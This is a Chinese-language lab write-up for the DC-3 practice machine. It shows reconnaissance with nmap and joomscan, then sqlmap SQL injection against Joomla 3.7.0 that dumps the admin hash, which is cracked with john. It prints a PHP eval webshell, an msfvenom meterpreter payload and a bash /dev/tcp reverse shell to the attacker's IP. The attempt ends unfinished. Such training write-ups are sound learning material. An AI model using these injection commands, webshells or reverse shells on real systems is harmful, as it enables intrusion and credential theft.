DC3靶场Joomla!

信息收集

靶场的ip,sudo arp-scan -l 根据MAC地址得到ip为192.168.146.141

去登录看一下,说只有1个flag,没有提示,需要root权限,要利用系统漏洞

扫描开放的端口,版本信息nmap -A(全面扫描) -p-(端口) ip

端口只开放了80端口,

Apache httpd 2.4.18 ((Ubuntu)) 是一个web服务器,接受客户端的请求并返回相应的网页和文件

joomla!是cms,允许用户创建和管理网站内容和结构

扫描下DC-3的操作系统、服务器版本nmap -A(全面扫描) -O(探测操作系统) ip

操作系统版本是Linux3.2-Linux4.9为软件提供运行环境、处理底层硬件交互

有一个针对joomla!的漏洞扫描器joomscan,看一下joomla!有无漏洞

安装sudo apt-get install joomscan

oomscan --url http://192.168.146.141对Joomla!版本、防火墙进行探测,还可以探测已知的漏洞

Joomla!版本3.7.0

访问/administrator/,是管理员登陆界面

得到一些网站目录

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.146.141/administrator/components
http://192.168.146.141/administrator/modules
http://192.168.146.141/administrator/templates
http://192.168.146.141/images/banners

访问/administrator/components,得到一些文件,还不知道哪些有用、先放着不管

Joomla版本3.7.0,用metasploit搜索这个版本有无漏洞

msfconsole

search joomla

excellent表示这个漏洞利用模块非常可靠,有很大机率成功

但我不知道哪个适合3.7.0版本

用searchsploit joomla 3.7.0查找漏洞,有2个漏洞

用第一个漏洞,查一下绝对路径 find / -nmae 42033.txt

查看/usr/share/exploitdb/exploits/php/webapps/42033.txt,是2017-5-19的漏洞,让我们使用sqlmap 并给出了注入点和playload

-u后跟url,--risk=3风险等级1到3,--level==5测试深度为1到5,测试的参数和playload越多,--random-agent发送请求时随机选择一个User-Agent头,避免被检测到

--dbs检测站点包含哪些数据库

运行sqlmap -u "http://192.168.146.141(靶机的ip)/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

看到5个数据库、操作系统是Ubuntu 16.10或者16.04

看一下joomladb数据库里的所有表

-D指定数据库、--tables列出表

运行sqlmap -u "http://192.168.146.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] 

看一下users表的列名

-D指定数据库、-T指定数据表、--columns列出所有字段

sqlmap -u "http://192.168.146.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering] 
大家要注意 '#__users'表是2个下划线、我少打了一个,尝试几次都没结果

看到用户名和密码两个字段

看一下用户名和密码

-C 列名 在-D -T情况下输出某列数据的值、--dump 拉取数据存放到本地,获取值,也就是表中的数据

运行sqlmap -u "http://192.168.146.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

拿到admin的密码密文$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

解密,搜了下$2y,用到的是 password_hash()加密函数,试试暴力破解密码,用hydra ,著名黑客组织thc的一款开源的暴力密码破解工具

sudo vi /home/dc/password把密文写进这个文件

john /home/dc/password

得到密码snoopy

去登录网站,看能不能上传点php文件,目标是要拿到shell

成功登录

在这里 New File

上传一句话木马

一句话木马详细解释

<?php @eval($_POST['cmd']);?>

php的代码要写在<?php ?>里面,服务器才能认出来这是php代码

@符号的意思是不报错,即使执行错误,也不报错

$_POST['a']; 的意思就是a这个变量,用post的方法接收。(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据)

eval()把字符串作为PHP代码执行

但是我觉得反弹shell方便一点,使用metaspolit生成反弹shell

sudo msfvenom -p php/meterpreter_reverse_tcp LHOSTS=192.168.146.140(自己的攻击机ip) LPORTS=9000 -f raw -o /home/dc/shell.php

然后新建文件复制,直接上传反弹shell不行,路径为

http://192.168.146.141/templates/beez3/shell.php

使用msf监听

msfconsole

use exploit/multi/handler

set payload php/meterpreter_reverse_tcp

set lhost 192.168.146.140

set lport 9000

exploit或者run

先监听然后去浏览器访问这个php,让它执行

然后发现没连接上

那我就把shell.php的内容改一下

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.146.140/9003 0>&1' ");?>

监听端口也毫无反应

发现电脑又出上次一样的毛病了、DC3靶场也访问不了

卸载重装kali

  • 14
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值